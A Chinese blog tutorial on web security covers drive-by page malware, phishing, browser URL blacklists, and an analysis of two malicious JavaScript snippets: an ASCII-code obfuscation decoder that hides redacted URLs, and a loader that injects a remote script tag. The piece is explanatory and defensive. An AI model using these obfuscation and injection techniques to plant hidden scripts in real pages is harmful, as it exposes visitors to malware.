当前位置: 首页 > news >正文

渗透测试之Web安全系列教程(二)

今天,我们来讲一下Web安全!

本文章仅提供学习,切勿将其用于不法手段!

目前,在渗透测试领域,主要分为了两个发展方向,分别为Web攻防领域和PWN(二进制安全)攻防领域。Web 攻防领域,涉及到一些知识点,本系列教程,就来科普一下这些知识点。

接上一篇文章《渗透测试之Web安全系列教程(一)》,我们来继续渗透讨论一下Web安全!

在上一篇文章中,我们提到过同源策略、XSS注入漏洞、网页挂马等相关安全内容!

我们重点强调了学习渗透测试知识目的

我们了解攻击技术原理,是为了使渗透测试行为变得更加有效!是为了能够更好的进行信息安全防御,绝不是为了去进行违法犯罪行为!

现在,我们来继续讲一下来自网页内容威胁的两个方向(网页挂马、网页钓鱼)!

网页挂马,是指在正规合法网站的网页内容中嵌入恶意脚本内容,去实施木马攻击行为!

网页钓鱼,是指仿冒伪装成正规合法网站的网页内容,去实施网页诈骗行为!

无论是网页挂马,还是网页钓鱼,危害都是非常巨大的!

如何避免在浏览器中进行网络冲浪时,遭受网页挂马和网页钓鱼攻击呢?

很多浏览器,都带有 恶意网址拦截 功能!这类功能的技术实现,通常是基于 黑名单机制 的!

通过浏览器的恶意网址拦截功能,我们可以避免很多针对恶意网址的网络访问行为。

但是,由于浏览器恶意网址拦截功能,是基于 黑名单机制 的!也就意味着,未被记录进 黑名单 中的 恶意网址,可能无法被 浏览器 成功拦截!

Google 公司,对外开放了 SafeBrowsing API,用以及时公布最新的恶意网址名单信息。

除了 浏览器 自带的 恶意网址拦截 黑名单机制,还有一项保障浏览器用户的网络访问行为安全的相关技术,那就是 EV SSL 证书技术!对于危险网址EV SSL 证书技术 将会显示为 红色 ,对于安全网址,EV SSL 证书技术 将会显示为 绿色

接下来,让我们观察一篇恶意代码中的部分内容,分析一下,它是如何躲避浏览器的恶意代码检测的!

this.globalThis || (this.globalThis = this);

        function decodeStr(e) {
            var d, c, b;
            if (!e) {
                return ""
            }
            for (d = e[0],
                     c = e.split(d),
                     b = 0; b < c.length; b++) {
                c[b] && (c[b] = String.fromCharCode(c[b]))
            }
            return c.join("")
        }

window.android_url =  decodeStr( '|104|116|116|112|115|58|47|47|*|119|101|*|117|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*' );


window.ios_url  = decodeStr( '|104|116|116|112|115|58|47|47|*|112|112|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*' );

通过观察上面的恶意代码,我们可以获知,当前恶意代码使用了数据加密技术

上面的恶意代码,采用了代码混淆机制

注意,为了避免大家去误操作性地去访问恶意网址,相关代码内容已进行了数据脱敏处理!

上面的恶意代码,通过使用自定义的 decodeStr 函数来实现加密数据还原操作

想要了解上面的恶意代码做了些什么,我们就必须了解上面的代码内容含义是什么!

通过观察,我们获知,加密数据,是以数字形式存储的,那么,我们不禁想到了 ASCII 编码!

ascii 码 104 对应的字符是 h 。

ascii 码 116 对应的字符是 t 。

ascii 码 112 对应的字符是 p 。

ascii 码 115 对应的字符是 s 。

ascii 码 47 对应的字符是 / 。

通过上述的观察,我们可知,代码混淆 使用的是 ASCII编码序列技术!

现在,让我们来科普一下 globalThis 的作用和价值是什么!

全局属性 globalThis 包含全局对象 this 的 值,你可以理解为,类似于全局对象(global object)!

说到 全局对象,让我们来复习一下 C语言编程 中的 全局变量 概念!

是的,没错!全局变量的作用域,是全局的!

全局对象的作用域,也是全局的!

globalThis ,提供了一种抽象化的、以标准化方式去获取不同环境中的全局 this 对象(也就是全局对象自身)的途径。区别于 window 或者 self 这些浏览器对象属性,globalThis 可以在有窗口,或者无窗口的各类型环境中正常使用。你可以较为放心地使用 globalThis,globalThis 实现了运行环境无关化。您仅须记住:全局作用域环境中的 this 对象,即是 globalThis !

我们再来观察看看下面的恶意代码内容:

(function() {
  var hm = document.createElement("script");
  hm.src = "跨域JS脚本的URL地址";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();

上面的代码内容,作用是什么?

是动态创建并添加一个 script 标签,并去解析标签中的内容!

恶意脚本,就是如此规避检测的!恶意脚本,就是如此悄悄的潜入你的浏览器,并去执行恶意代码的!

想要防御来自互联网世界的恶意攻击,我们就必须做到:了解对方是如何地去实施攻击的!

在进行代码审计工作时,在进行渗透测试行为时,当我们发现某个网页文件的内容中包含有类似上述代码内容,那么通常意味着,这个网页文件的内容,是可疑的!这个网页文件的内容安全性,是需要进行深入鉴定的!

相关文章:

  • 300价值与300成长指数
  • 【HarmonyOS】List组件多层对象嵌套ForEach渲染更新的处理
  • 集成学习算法笔记
  • 已解决java.nio.charset.CoderMalfunctionError: 编码器故障错误的正确解决方法,亲测有效!!!
  • 有钱还系统源码,人人还众筹还钱模式还贷系统源码
  • SD-WAN简介
  • Android基础-UI布局
  • 正缘画像 api数据接口
  • 隐马尔可夫链
  • 【射击game】
  • Java筑基-面向对象
  • [SQL-SERVER:数据库安全及维护]:MSSM工具对用户进行用户授权和角色授权操作
  • 新书推荐:1.2 动态链接库与API
  • 961操作系统知识总结
  • 理解不同层的表示(layer representations)
  • 【前端学习】-粗谈选择器
  • CentOS从零开始部署Nodejs项目
  • co.js - 让异步代码同步化
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • JavaScript设计模式与开发实践系列之策略模式
  • React-flux杂记
  • 阿里云购买磁盘后挂载
  • 阿里云前端周刊 - 第 26 期
  • 猫头鹰的深夜翻译:Java 2D Graphics, 简单的仿射变换
  • 嵌入式文件系统
  • 如何借助 NoSQL 提高 JPA 应用性能
  • 如何使用Mybatis第三方插件--PageHelper实现分页操作
  • ​ ​Redis(五)主从复制:主从模式介绍、配置、拓扑(一主一从结构、一主多从结构、树形主从结构)、原理(复制过程、​​​​​​​数据同步psync)、总结
  • ​​​【收录 Hello 算法】10.4 哈希优化策略
  • #pragma 指令
  • $GOPATH/go.mod exists but should not goland
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (编译到47%失败)to be deleted
  • (附源码)ssm考生评分系统 毕业设计 071114
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (教学思路 C#之类三)方法参数类型(ref、out、parmas)
  • (四)软件性能测试
  • (算法)N皇后问题
  • (五十)第 7 章 图(有向图的十字链表存储)
  • (一)python发送HTTP 请求的两种方式(get和post )
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • *2 echo、printf、mkdir命令的应用
  • .NET C# 操作Neo4j图数据库
  • .NET Core引入性能分析引导优化
  • .NET WPF 抖动动画
  • .NET/C# 利用 Walterlv.WeakEvents 高性能地定义和使用弱事件
  • .NET命令行(CLI)常用命令
  • .net通用权限框架B/S (三)--MODEL层(2)
  • [ 蓝桥杯Web真题 ]-Markdown 文档解析
  • [20181219]script使用小技巧.txt
  • [2019红帽杯]Snake
  • [Angular] 笔记 9:list/detail 页面以及@Output
  • [AX]AX2012 R2 出差申请和支出报告
  • [C/C++]数据结构 堆的详解